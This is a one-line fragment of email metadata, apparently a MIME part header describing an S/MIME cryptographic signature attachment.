Description: S/MIME Cryptographic Signature